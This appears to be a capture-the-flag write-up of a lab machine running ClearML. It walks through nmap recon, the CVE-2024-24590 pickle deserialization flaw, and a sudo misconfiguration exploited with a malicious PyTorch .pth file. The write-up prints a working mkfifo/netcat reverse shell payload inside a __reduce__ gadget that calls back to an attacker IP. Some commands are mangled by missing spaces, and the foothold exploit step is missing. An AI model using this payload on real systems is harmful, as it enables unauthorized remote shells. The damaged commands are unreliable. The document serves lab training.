This box involves exploiting a known deserialization vulnerability in a self-hosted ML platform, then chaining it with a misconfigured sudo permission to escalate privileges via a malicious PyTorch model file.
Recon
Nmap
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
$ ip=10.129.27.17; ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr'\n'',' | sed s/,$//); nmap -p$ports -sC -sV $ip Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-12 14:00 -0400 Nmap scan report for 10.129.27.17 Host is up (0.28s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0) | ssh-hostkey: | 3072 3e:21:d5:dc:2e:61:eb:8f:a6:3b:24:2a:b7:1c:05:d3 (RSA) | 256 39:11:42:3f:0c:25:00:08:d7:2f:1b:51:e0:43:9d:85 (ECDSA) |_ 256 b0:6f:a0:0a:9e:df:b1:7a:49:78:86:b2:35:40:ec:95 (ED25519) 80/tcp open http nginx 1.18.0 |_http-title: Did not follow redirect to http://app.blurry.htb/ |_http-server-header: nginx/1.18.0 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 25.64 seconds
Two ports are open: 22 (SSH) and 80 (HTTP). The web server redirects to http://app.blurry.htb/.
Foothold
Host Configuration
Add the initial virtual host to /etc/hosts:
1
$ echo'10.129.27.17 blurry.htb app.blurry.htb' | sudotee -a /etc/hosts
ClearML Recon
app.blurry.htb runs a ClearML web application. The version is visible in the footer of the Settings page:
WebApp:1.13.1-426
Server:1.13.1-426
API:2.27
ClearML version 1.13.1-426 is vulnerable to CVE-2024-24590 — a critical deserialization flaw in which a maliciously crafted pickle artifact can execute arbitrary code when loaded by any user who accesses the project.
ClearML Setup
Install and configure the clearml client:
1
$ pipx install clearml
1
$ pipx run --spec clearml clearml-init
This prompts for credentials copied from the ClearML dashboard. Navigate to Settings → Workspace Configuration and create new credentials. The credential dialog also reveals two additional subdomains — add them to /etc/hosts before pasting the configuration:
1
$ echo'10.129.27.17 files.blurry.htb api.blurry.htb' | sudotee -a /etc/hosts
Please create new clearml credentials through the settings page in your `clearml-server` web app (e.g. http://localhost:8080//settings/workspace-configuration) Or create a free account at https://app.clear.ml/settings/workspace-configuration
In settings page, press "Create new credentials", then press "Copy to clipboard".
jippity@blurry:~$ sudo -l Matching Defaults entries for jippity on blurry: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User jippity may run the following commands on blurry: (root) NOPASSWD: /usr/bin/evaluate_model /models/*.pth
The user can run /usr/bin/evaluate_model as root without a password, passing any .pth file under /models/. PyTorch .pth files are serialized Python objects — torch.save/torch.load uses pickle internally, making them susceptible to the same arbitrary code execution as any other pickle deserialization sink.
Malicious PyTorch Model
Create a Python script to generate a malicious .pth file with an embedded reverse shell payload:
def__reduce__(self): # Replace with your IP and port cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.27 4444 >/tmp/f" return os.system, (cmd,)
# Generate and save malicious model model = MaliciousModel() torch.save(model, "malicious.pth")
The __reduce__ method is called during unpickling. By returning os.system paired with the shell command string, the payload executes automatically when torch.load deserializes the file.
Start a listener, then trigger execution with sudo: